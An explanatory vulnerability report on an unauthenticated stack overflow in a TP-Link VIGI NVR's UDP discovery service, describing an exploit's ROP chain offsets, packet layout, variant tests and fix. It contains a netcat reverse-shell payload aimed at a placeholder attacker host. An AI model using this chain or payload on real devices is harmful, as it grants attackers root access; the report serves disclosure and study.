  1. calc_checksum pads the packet to an even length, sums 16-bit big-endian words with end-around carry, and returns the one's complement as two big-endian bytes. In plain words: it chops the message into pairs of bytes, adds them up, folds any overflow back into the low 16 bits, flips all the bits, and writes the result as two bytes. The receiver can repeat the same sum and check it matches.
  2. gen_ropchain places /bin/sh and the argv pointers at chain_addr = 0x3F860, pads to 588 bytes, then writes the return address 0x0001E5AD and the register setup: r0 points at the command string, r1 at the argv array, r2 is zero, r7 holds 11 for the execve syscall number, and 0x00028660 is the syscall instruction. Registers are the tiny scratch slots inside a processor; a syscall is a request to the operating system to do something on the program's behalf, and number 11 on this processor means "run this program".
  3. build_packet assembles the header \x01\x02\x0e\x00 plus a fixed value, the checksum, the payload size, and the payload, which begins with type \x00\x05 and a two-byte length followed by the ROP chain. The type \x00\x05 is what makes the vulnerable code take the case 5 branch.
  4. The final block sends the datagram to port 5001. The script asserts len(packet) < 0x40B before sending.

The payload runs mknod /tmp/a p; nc <ATTACKER> 4444 0</tmp/a | /bin/sh 1>/tmp/a 2>&1;, which creates a FIFO and connects back to the attacker's listener with a shell. A FIFO (also called a named pipe) is a special file that behaves like a one-way pipe between two programs: what one writes, the other reads. Here it is used as a two-way channel so the attacker can type commands and see the output.

Root cause

The receive path trusts two length fields from the packet. The two bytes at offset 10 of the datagram set the total length passed to possibly_overflow, and the two bytes at offset 2 of each record set the memcpy length in possibly_overflow_direct. The destination is a fixed 576-byte stack buffer, and neither the record count nor the accumulated offset is checked against that size. The only guard is 0x1f < iVar3, which limits the number of records but not the size of each copy. Because the copy length is attacker-controlled, a single oversized record overwrites the stack, including the saved return address, which the exploit replaces with a ROP chain. The advisory does not describe any stack canary or other mitigation in the binary. A stack canary is a small secret value placed next to a buffer; if an overflow overwrites it, the program notices and stops before returning, so its absence here is what makes the overwrite usable.

Impact

A network-adjacent attacker who can reach UDP port 5001 can execute arbitrary code on the device as root, without authentication. The advisory frames the attack as network-adjacent, so the attacker needs a position from which the discovery port is reachable. The exploit was demonstrated on an emulated NVR4032H; the author expects the same technique to work on the other listed VIGI NVR models with minor offset adjustments, but those were not tested.

Fix

TP-Link released VIGI NVR4032H(UN)_V1_1.0.5 Build 240424, available from the vendor's download page for the NVR4032H. The advisory does not describe the code change itself.

Variants to test

  1. Send a datagram with a record type of 5 and a record size larger than 576 to port 5001 on another VIGI NVR model. A crash or a controlled return address indicates the same overflow.
  2. Vary the two bytes at offset 10 to change the total length passed to possibly_overflow. If the device processes records beyond the real datagram length, the length handling is equally unchecked.
  3. Send many small type-5 records instead of one large one. If the accumulated iVar3 * 0x12 offset walks past the buffer, the per-record bound is missing as well.
  4. Try the commented-out b"\xff" * 700 payload against each listed model. A crash confirms reachability of the copy; a clean response suggests different parsing or a patched build.
  5. Compare the onvif_discovery binary from each firmware version against the NVR4032H build. Identical or near-identical code around parse_discovery_frame and possibly_overflow_direct supports the author's expectation that the same offsets apply.

Glossary

  • Authentication: proving who you are, usually with a username and password.
  • Binary: a compiled program file that a device runs.
  • Buffer: a reserved area of memory used to hold data temporarily.
  • Buffer overflow: a bug where a program writes more data into a buffer than it can hold, spilling into neighbouring memory.
  • Checksum: a small number computed from a message so the receiver can detect accidental corruption.
  • Datagram: a single self-contained network message, the unit UDP sends.
  • Emulated: running a device's software inside a simulation on another computer.
  • Endianness: the order in which a multi-byte number is stored, big-endian (most significant byte first) or little-endian (least significant first).
  • epoll_wait: a system call that waits until one of several watched resources, such as network sockets, is ready.
  • FIFO (named pipe): a special file that passes data between two programs like a pipe.
  • Firmware: the software built into a device, distributed by the vendor as an update file.
  • Function: a named block of code that performs one job and can be called by other code.
  • Hash (SHA-256): a fingerprint of a file; any change to the file changes the fingerprint.
  • Header: the first bytes of a message, describing its type and format.
  • memcpy: a standard function that copies a given number of bytes from one memory location to another.
  • Network-adjacent: positioned on a network from which the target can be reached, without necessarily being on the public internet.
  • ONVIF: a standard that lets IP cameras and video recorders from different vendors discover and talk to each other.
  • Port: a numbered endpoint on a computer that a particular program listens on.
  • Register: a small, fast storage slot inside a processor.
  • Reverse shell: a connection in which the compromised device connects back to the attacker and gives them a command prompt.
  • Root: the all-powerful administrator account on a Linux-style system.
  • ROP chain (return-oriented programming): a technique that strings together small existing code snippets to make a program perform actions it was not written to perform.
  • Socket: the program's handle for a network connection or listening port.
  • Squashfs: a compressed file system format commonly used on embedded devices.
  • Stack: the region of memory a program uses to track function calls and local variables, including where to return after a function finishes.
  • Stack canary: a secret value placed next to a stack buffer so that an overflow is detected before the function returns.
  • Syscall: a request from a program to the operating system to perform a privileged action, such as running another program.
  • Thread: a lightweight sub-program that runs alongside the main program.
  • UDP: a simple, connectionless way of sending network messages, with no delivery confirmation.
  • VIGI: TP-Link's line of network video recorders and cameras.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.